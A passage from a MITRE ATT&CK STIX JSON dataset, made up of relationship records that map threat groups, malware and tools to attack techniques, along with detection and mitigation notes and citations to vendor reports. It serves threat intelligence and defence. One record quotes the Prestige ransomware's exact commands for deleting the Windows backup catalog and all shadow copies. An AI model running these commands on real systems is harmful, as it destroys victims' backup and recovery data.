2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d847def2-acb8-4883-8e81-2d20196ce74d","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Monitor for newly constructed files in order to manipulate external outcomes or hide activity","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d84b4fa0-9da7-4341-a123-f72ceb895fe5","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications) that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. Lack of log events may be suspicious.","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d84bb8c3-7a8c-4dfb-bad4-a6d5b401b6a7","created":"2024-08-20T18:58:56.298Z","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T18:58:56.298Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) uses [Prestige](https://attack.mitre.org/software/S1058) to delete the backup catalog from the target system using: `C:\\Windows\\System32\\wbadmin.exe delete catalog -quiet` and to delete volume shadow copies using: `C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet`. (Citation: Microsoft Prestige ransomware October 2022) ","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d84bda97-a8d5-4886-8172-c5a794b681af","type":"relationship","created":"2021-10-13T21:34:46.654Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro KillDisk 2","url":"https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html","description":"Gilbert Sison, Rheniel Ramos, Jay Yaneza, Alfredo Oliveira. (2018, January 15). KillDisk Variant Hits Latin American Financial Groups. Retrieved January 12, 2021."}],"modified":"2021-10-13T21:34:46.654Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) has attempted to get the access token of a process by calling OpenProcessToken. If [KillDisk](https://attack.mitre.org/software/S0607) gets the access token, then it attempt to modify the token privileges with AdjustTokenPrivileges.(Citation: Trend Micro KillDisk 2)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d84d46d9-658e-4a88-a3f3-616ce6c47535","created":"2022-09-07T19:26:44.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:52:49.649Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used [Empire](https://attack.mitre.org/software/S0363) to find the public IP address of a compromised system.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d850589b-a36f-446e-9864-ae4d4a62b724","created":"2022-07-14T17:34:46.686Z","x_mitre_version":"0.1","external_references":[{"source_name":"Korean FSI TA505 2020","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Amadey](https://attack.mitre.org/software/S1025) has decoded antivirus name strings.(Citation: Korean FSI TA505 2020)","modified":"2022-07-14T17:49:33.322Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d850b604-f451-4f58-aa8e-6fb2e2a307d0","type":"relationship","created":"2021-05-21T20:19:59.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Exchange Mar 2021","url":"https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/","description":"Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021."}],"modified":"2021-05-21T20:19:59.930Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has used PowerShell to download additional payloads.(Citation: ESET Exchange Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8557c07-240a-4dbb-b372-1111a05a5303","type":"relationship","created":"2020-06-10T14:44:23.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}],"modified":"2020-06-10T14:44:23.140Z","description":"[CARROTBALL](https://attack.mitre.org/software/S0465) has used a custom base64 alphabet to decode files.(Citation: Unit 42 CARROTBAT January 2020)","relationship_type":"uses","source_ref":"tool--5fc81b43-62b5-41b1-9113-c79ae5f030c4","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8609889-3d3e-4f6c-8f52-03ec41876b4d","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-11T19:46:27.875Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used gzip to archive dumped LSASS process memory and RAR to stage and compress local folders.(Citation: FireEye APT35 2018)(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d863f0be-98bb-42d5-a584-f48fc43022aa","created":"2024-05-17T13:17:55.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"},{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"},{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-23T18:23:50.849Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) is capable of contacting the TOR network for delivering second-stage payloads.(Citation: RedCanary RaspberryRobin 2022)(Citation: TrendMicro RaspberryRobin 2022)(Citation: HP RaspberryRobin 2024)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d866e6c8-a75b-4b47-8994-271cdeaf6ed2","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor newly constructed processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d86a36a9-fce9-4147-b375-292d6b617769","created":"2024-03-19T17:20:20.302Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-19T17:20:20.302Z","description":"[STEADYPULSE](https://attack.mitre.org/software/S1112) can URL decode key/value pairs sent over C2.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--ca0fead6-5277-427a-825b-42ff1fbe476e","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d86f1575-e31e-49db-a66d-b0364b819873","created":"2024-01-04T20:43:10.717Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-04T20:43:10.717Z","description":"(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8707d98-c6f1-4d16-956a-df9a6862b7fa","type":"relationship","created":"2020-03-20T00:08:19.297Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-20T00:08:19.297Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can use Lazagne for harvesting credentials.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d870c87f-897d-44f3-a75a-0fa0211849f3","created":"2024-08-05T21:39:44.365Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T21:39:44.365Z","description":"Consider defining and enforcing a naming convention for user accounts to more easily spot generic account names that do not fit the typical schema. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--d349c66e-18e1-4d8b-a2d7-65af7cbd2ba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d870ed48-a7df-4aee-af06-c58ee59432e7","type":"relationship","created":"2020-06-10T19:31:48.115Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.399Z","description":"[build_downer](https://attack.mitre.org/software/S0471) has the ability to download files from C2 to the infected host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d87615c7-501a-4b78-87fb-ba2c1a2faffb","created":"2022-09-07T14:14:50.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:51:10.133Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors deobfuscated Base64-encoded commands following the execution of a malicious script, which revealed a small script designed to obtain an additional payload.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d878a055-0053-45a9-a724-52f59e0486c7","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.697Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) checks its parent process for indications that it is running in a sandbox setup.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d87925c8-23ed-4913-81d6-c4d93d65c798","type":"relationship","created":"2020-11-10T15:39:49.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."}],"modified":"2020-11-10T15:46:09.451Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has sent phishing emails containing a link to an actor-controlled Google Drive document or other free online file hosting services.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d880473f-da6f-452b-8ea4-5723ab87226c","created":"2022-01-10T19:52:49.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.933Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can search for anti-virus products on the system.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d880af17-1184-4c4e-8550-665944d16a69","created":"2024-05-17T13:25:48.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T17:52:56.137Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) will use the legitimate Windows utility fodhelper.exe to run processes at elevated privileges without requiring a User Account Control prompt.(Citation: RedCanary RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d88c3036-bcaf-4897-a47e-3cabc0dbc1b2","type":"relationship","created":"2019-01-29T21:37:00.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.","url":"https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise","source_name":"Unit42 SilverTerrier 2018"}],"modified":"2019-04-12T16:33:51.188Z","description":"(Citation: Unit42 SilverTerrier 2018)","relationship_type":"uses","source_ref":"intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb","target_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d894e46e-1967-4499-83d5-626a8e49a97a","type":"relationship","created":"2020-05-12T21:44:41.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-15T18:47:04.423Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) sent collected system and network information compiled into a report to an adversary-controlled C2.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8a5e73d-fe56-42d7-a53d-09a90c21308b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}],"modified":"2020-03-18T20:19:35.784Z","description":"[OSInfo](https://attack.mitre.org/software/S0165) discovers the current domain information.(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8a7ec97-b262-489d-bc4b-e2c7007f75bc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-17T02:15:30.794Z","description":"[Psylo](https://attack.mitre.org/software/S0078) has a command to conduct timestomping by setting a specified file’s timestamps to match those of a system file in the System32 directory.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--dfb5fa9b-3051-4b97-8035-08f80aef945b","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8a844bc-373b-44aa-831a-da33d1505ae3","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[SHUTTERSPEED](https://attack.mitre.org/software/S0217) can capture screenshots.(Citation: FireEye APT37 Feb 